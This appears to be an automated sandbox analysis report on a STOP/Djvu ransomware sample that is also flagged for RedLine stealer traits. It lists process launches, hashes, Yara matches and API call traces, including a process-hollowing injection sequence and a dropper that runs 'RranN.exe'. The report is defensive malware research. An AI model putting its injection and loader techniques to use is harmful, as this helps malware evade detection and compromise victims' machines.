Path:	C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe --Task
Imagebase:	0x400000
File size:	792'576 bytes
MD5 hash:	0B5606B5BD61D8026FBCF1A217248485
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000A.00000002.2923193912.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000A.00000002.2923193912.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000A.00000002.2923193912.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	20:25:39
Start date:	25/07/2024
Path:	C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe" --AutoStart
Imagebase:	0x400000
File size:	792'576 bytes
MD5 hash:	0B5606B5BD61D8026FBCF1A217248485
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000B.00000002.1863661270.0000000000919000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000B.00000002.1863808693.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000B.00000002.1863808693.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	20:25:43
Start date:	25/07/2024
Path:	C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe" --AutoStart
Imagebase:	0x400000
File size:	792'576 bytes
MD5 hash:	0B5606B5BD61D8026FBCF1A217248485
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000D.00000002.1874166831.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000D.00000002.1874166831.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000D.00000002.1874166831.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	20:25:47
Start date:	25/07/2024
Path:	C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe" --AutoStart
Imagebase:	0x400000
File size:	792'576 bytes
MD5 hash:	0B5606B5BD61D8026FBCF1A217248485
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000010.00000002.1940914236.00000000021B5000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000010.00000002.1940971329.0000000002250000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000010.00000002.1940971329.0000000002250000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	20:25:51
Start date:	25/07/2024
Path:	C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe" --AutoStart
Imagebase:	0x400000
File size:	792'576 bytes
MD5 hash:	0B5606B5BD61D8026FBCF1A217248485
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000011.00000002.1951353036.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000011.00000002.1951353036.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000011.00000002.1951353036.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2.1%
Dynamic/Decrypted Code Coverage:	26.4%
Signature Coverage:	12.6%
Total number of Nodes:	435
Total number of Limit Nodes:	49

Executed Functions

Function 00402F2C Relevance: 58.1, APIs: 14, Strings: 19, Instructions: 309
librarymemorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryExA.KERNEL32(Cacocutogefoba domecip,Mozuwaciboxip pumoxiges zujixakaw mufaze,00000000), ref: 00402F5F
GetMailslotInfo.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00402F66
SetFilePointer.KERNEL32(00000000,00000000,?,00000000), ref: 00402F73

Part of subcall function 004039B9: _malloc.LIBCMT ref: 004039CF

_calloc.LIBCMT ref: 00402F8A

Part of subcall function 0040385F: __calloc_impl.LIBCMT ref: 00403874

_feof.LIBCMT ref: 00402F90
LoadLibraryA.KERNEL32(kernel32.dll), ref: 00403682
GetProcAddress.KERNEL32(00000000,LocalAlloc), ref: 00403693
LocalAlloc.KERNELBASE(00000000), ref: 004036A5
GetBinaryTypeA.KERNEL32(kosikuwexaweri,?), ref: 004036F6
GetProcessWorkingSetSize.KERNEL32(00000000,?,?), ref: 00403705
WriteConsoleW.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00403713
GetLastError.KERNEL32 ref: 00403729
CreateDirectoryExA.KERNEL32(Hogonogo zefakawe zumupekututo,denakahu yirajus,00000000), ref: 0040375C
lstrlenW.KERNEL32(00000000), ref: 0040375F

Strings

Cacocutogefoba domecip, xrefs: 00402F5A
Mw%/, xrefs: 0040314A
denakahu yirajus, xrefs: 00403752
L]tn, xrefs: 00403200
0ET5, xrefs: 0040357F
`7y, xrefs: 00403561
Mozuwaciboxip pumoxiges zujixakaw mufaze, xrefs: 00402F55
pj?[, xrefs: 004030C0
kosikuwexaweri, xrefs: 004036F1
!F2, xrefs: 00403470
db_B, xrefs: 004031CE
LocalAlloc, xrefs: 00403688
Hogonogo zefakawe zumupekututo, xrefs: 00403757
"P(, xrefs: 0040315B
kernel32.dll, xrefs: 00403623
v}TI, xrefs: 0040318E
^@ga, xrefs: 004035AE
G-n, xrefs: 00403268
<Z:^, xrefs: 00403184

Memory Dump Source

Source File: 00000000.00000002.1721781695.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1721766921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721781695.0000000000416000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721781695.00000000004B2000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721879182.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721895547.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721921404.00000000004FC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721942664.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721959542.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Similarity

API ID: CreateDirectory$AddressAllocBinaryConsoleErrorFileInfoLastLibraryLoadLocalMailslotPointerProcProcessSizeTypeWorkingWrite__calloc_impl_calloc_feof_malloclstrlen
String ID: !F2$"P($0ET5$<Z:^$Cacocutogefoba domecip$Hogonogo zefakawe zumupekututo$L]tn$LocalAlloc$Mozuwaciboxip pumoxiges zujixakaw mufaze$Mw%/$^@ga$`7y$db_B$denakahu yirajus$kernel32.dll$kosikuwexaweri$pj?[$v}TI$G-n
API String ID: 865647649-3761200401
Opcode ID: 4c4bfcb115f4159abcd13ea01be782e931d9042f8993d29bcb007d1497ced47e
Instruction ID: df8ab8e8d810ee75db86f68a59af0b8f7c3231d04bc96ace72673d02c632f12a
Opcode Fuzzy Hash: 4c4bfcb115f4159abcd13ea01be782e931d9042f8993d29bcb007d1497ced47e
Instruction Fuzzy Hash: 1912FCB08013A8DFDB609F95DE897DDBBB4FB05308F2082E9D1493A255C7790A85CF99

Function 00500044 Relevance: 33.4, APIs: 4, Strings: 15, Instructions: 171
fileprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 00500223
WriteFile.KERNELBASE(00000000,FFF03B0A,00003E00,?,00000000), ref: 00500252
FindCloseChangeNotification.KERNELBASE(00000000), ref: 00500256
WinExec.KERNEL32(?,00000005), ref: 00500262

Strings

Kern, xrefs: 005000F4
RranN.exe, xrefs: 005001FD, 00500200
Writ, xrefs: 00500148
GetM, xrefs: 005000B6
Crea, xrefs: 00500169
Clos, xrefs: 00500129
catA, xrefs: 005001AF
dleA, xrefs: 005000D0
WinE, xrefs: 00500110
athA, xrefs: 00500199
GetT, xrefs: 00500188
lstr, xrefs: 005001A7
odul, xrefs: 0050022D
el32, xrefs: 005000FB
.dll, xrefs: 00500102

Memory Dump Source

Source File: 00000000.00000002.1721942664.0000000000500000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1721766921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721781695.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721781695.0000000000416000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721781695.00000000004B2000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721879182.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721895547.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721921404.00000000004FC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721959542.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Similarity

API ID: File$ChangeCloseCreateExecFindNotificationWrite
String ID: .dll$Clos$Crea$GetM$GetT$Kern$RranN.exe$WinE$Writ$athA$catA$dleA$el32$lstr$odul
API String ID: 2234911746-392181219
Opcode ID: bdaaf96f1522517e48fcdc45c33f93b3cab879b65ecdace07e2c2168383ea82a
Instruction ID: 09005446a80dd103916cb5c981bba72bcfbced195262767208a7c31bc98ef7c4
Opcode Fuzzy Hash: bdaaf96f1522517e48fcdc45c33f93b3cab879b65ecdace07e2c2168383ea82a
Instruction Fuzzy Hash: 5A610474D0121ADBCF24CF94CC84BADBBB4BF48315F25A6AAD405AB2C1C7709E81CB91

Function 00403772 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 59
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReplaceFileA.KERNEL32(hecolupefufesugizupadumeyufucocunicinazimecukofisusozeni,zowuligafazodujakupad,pinapurihokovetajakufobekecabenehifaway,00000000,00000000,00000000), ref: 0040379A
_feof.LIBCMT ref: 004037A1

Part of subcall function 00403998: __wcstoi64.LIBCMT ref: 004039A4

FindFirstChangeNotificationA.KERNEL32(Kepigeyar bopugiharugopo likohep paruyaxovor tedic,00000000,00000000), ref: 004037D4
GetConsoleAliasesLengthA.KERNEL32(00000000), ref: 004037DB
InitializeCriticalSection.KERNEL32(?), ref: 004037E5
SetCalendarInfoA.KERNEL32(00000000,00000000,00000000,cujodig), ref: 004037F3
UnregisterWait.KERNEL32(00000000), ref: 004037FA
GetCPInfoExA.KERNEL32(00000000,00000000,?), ref: 00403809
GetStdHandle.KERNEL32(00000000), ref: 00403810

Strings

pinapurihokovetajakufobekecabenehifaway, xrefs: 0040378B
Kepigeyar bopugiharugopo likohep paruyaxovor tedic, xrefs: 004037CF
cujodig, xrefs: 004037EB
zowuligafazodujakupad, xrefs: 00403790
hecolupefufesugizupadumeyufucocunicinazimecukofisusozeni, xrefs: 00403795

Memory Dump Source

Source File: 00000000.00000002.1721781695.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1721766921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721781695.0000000000416000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721781695.00000000004B2000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721879182.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721895547.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721921404.00000000004FC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721942664.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721959542.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Similarity

API ID: Info$AliasesCalendarChangeConsoleCriticalFileFindFirstHandleInitializeLengthNotificationReplaceSectionUnregisterWait__wcstoi64_feof
String ID: Kepigeyar bopugiharugopo likohep paruyaxovor tedic$cujodig$hecolupefufesugizupadumeyufucocunicinazimecukofisusozeni$pinapurihokovetajakufobekecabenehifaway$zowuligafazodujakupad
API String ID: 2430961990-2997673504
Opcode ID: 2520dc6e0e368f3237e13f103754846a3f3ceb4f416ae91c397427385d795c9c
Instruction ID: 8cea377d86a73d190b9f4a158dac29fbab7b06fa1ab8509894a49c6ff45ab150
Opcode Fuzzy Hash: 2520dc6e0e368f3237e13f103754846a3f3ceb4f416ae91c397427385d795c9c
Instruction Fuzzy Hash: D51148715026247BC6127B72AE0DDDB3E6CEE463567004036F545B14E1E6780685CBFE

Function 02230110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 02230156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0223016C
CreateProcessA.KERNELBASE(?,00000000), ref: 02230255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02230270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02230283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 0223029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 022302C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 022302E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 02230304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0223032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 02230399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 022303BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 022303E1
ResumeThread.KERNELBASE(00000000), ref: 022303ED
ExitProcess.KERNEL32(00000000), ref: 02230412

Memory Dump Source

Source File: 00000000.00000002.1722296268.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 042f9b1f5519f0a29cdff44598482e68cd4ded503f62d28b93d3b5dc57d2bf83
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: DDB1C8B4A00209AFDB44CF98C895F9EBBB5FF88314F248158E509AB395D771AE41CF94

Function 021987C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 021987EE
Module32First.KERNEL32(00000000,00000224), ref: 0219880E

Memory Dump Source

Source File: 00000000.00000002.1722225199.0000000002198000.00000040.00000020.00020000.00000000.sdmp, Offset: 02198000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2198000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 9aaa1776954de913944c7800045237f7f7222ff128db2444e5c9711744f07d39
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 55F096312407106FDB203FF5A88DBAE76E8BF4A625F110538E643910C0DB70E8458A61

Function 00403C2C Relevance: 22.6, APIs: 15, Instructions: 86
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_fast_error_exit.LIBCMT ref: 00403C77
__mtinit.LIBCMT ref: 00403C7D
_fast_error_exit.LIBCMT ref: 00403C88
__RTC_Initialize.LIBCMT ref: 00403C8E
__ioinit.LIBCMT ref: 00403C96
__amsg_exit.LIBCMT ref: 00403CA1
GetCommandLineA.KERNEL32 ref: 00403CA7
___crtGetEnvironmentStringsA.LIBCMT ref: 00403CB2
__setargv.LIBCMT ref: 00403CBC
__amsg_exit.LIBCMT ref: 00403CC7
__setenvp.LIBCMT ref: 00403CCD
__amsg_exit.LIBCMT ref: 00403CD8
__cinit.LIBCMT ref: 00403CDF
__amsg_exit.LIBCMT ref: 00403CEA
__wincmdln.LIBCMT ref: 00403CF0

Memory Dump Source

Source File: 00000000.00000002.1721781695.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1721766921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721781695.0000000000416000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721781695.00000000004B2000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721879182.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721895547.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721921404.00000000004FC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721942664.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721959542.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Similarity

API ID: __amsg_exit$_fast_error_exit$CommandEnvironmentInitializeLineStrings___crt__cinit__ioinit__mtinit__setargv__setenvp__wincmdln
String ID:
API String ID: 3545360858-0
Opcode ID: ba38f5fdcfaf2e77cf37b27884b6e24d779634494e18c0b95fa2a084fb6daaef
Instruction ID: 857cd093eb9d4ff9074edf3f8f237da391a91d6172da7d5d5824b0aead4f6dc8
Opcode Fuzzy Hash: ba38f5fdcfaf2e77cf37b27884b6e24d779634494e18c0b95fa2a084fb6daaef
Instruction Fuzzy Hash: 4A2141719447059AEB147F73A986B7F7A6CAF0070AF10443FF502BA1D2EA7C8A409B5D

Function 02230420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 02230533

Strings

saodkfnosa9uin, xrefs: 022304DA
mfoaskdfnoa, xrefs: 02230520, 02230523
d, xrefs: 02230584
0, xrefs: 02230492

Memory Dump Source

Source File: 00000000.00000002.1722296268.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: d37a774ead6614570d6b84c39d373adf135c78591b99f502d8b920ff24636611
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 1A511870D083C8DAEB12CBE8C849BDDBFB2AF11708F144058D5447F28AC3BA5659CB66

Function 022305B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 022305EC

Strings

apfHQ, xrefs: 022305E2, 022305E5
o, xrefs: 02230600

Memory Dump Source

Source File: 00000000.00000002.1722296268.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 2f5e3c6283aee8237482d8ccdc7fd5ff8a87dc116c159cd3de1ad9a84b72d24c
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 430121B0C0425DEEDF15DBD8C5183AEBFB5AF41308F1480D9C4092B245D7B69B59CBA1

Function 00402560 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 15
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(kernel32.dll,0040381E), ref: 004025B9

Strings

kernel32.dll, xrefs: 00402560

Memory Dump Source

Source File: 00000000.00000002.1721781695.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1721766921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721781695.0000000000416000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721781695.00000000004B2000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721879182.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721895547.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721921404.00000000004FC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721942664.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721959542.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Similarity

API ID: LibraryLoad
String ID: kernel32.dll
API String ID: 1029625771-1793498882
Opcode ID: 967e0e0a006c82dc634e1ecbba524aef33873c60e6fc21f72b47ac56b123a7f8
Instruction ID: 531ef1fbc45b6d9ee6e6d5d765289901d1b90b05c950bf9c531aa11f74b6980f
Opcode Fuzzy Hash: 967e0e0a006c82dc634e1ecbba524aef33873c60e6fc21f72b47ac56b123a7f8
Instruction Fuzzy Hash: C6F0450054CAC4CEF722832CA9587003F928332B08F4882A980C40A6E3C3FB0928C7BF

Function 00402EF5 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 14
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(00000020,?), ref: 00402F18

Strings

, xrefs: 00402F01

Memory Dump Source

Source File: 00000000.00000002.1721781695.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1721766921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721781695.0000000000416000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721781695.00000000004B2000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721879182.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721895547.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721921404.00000000004FC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721942664.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721959542.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-3916222277
Opcode ID: 6d82fc9b6c3a5b66bb29707820ac6a736b39ec27153483f110686ab50557f217
Instruction ID: 446d7eb754984a31e0376d023958e3877551afd4b7cefdade97bf2a2649f26d5
Opcode Fuzzy Hash: 6d82fc9b6c3a5b66bb29707820ac6a736b39ec27153483f110686ab50557f217
Instruction Fuzzy Hash: 27D06CB581020CFFEB059B90ED099AABABDEB09348F1041A4F100A2421D3B15A60ABA9

Function 0040451C Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 00404531

Memory Dump Source

Source File: 00000000.00000002.1721781695.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1721766921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721781695.0000000000416000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721781695.00000000004B2000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721879182.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721895547.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721921404.00000000004FC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721942664.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721959542.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

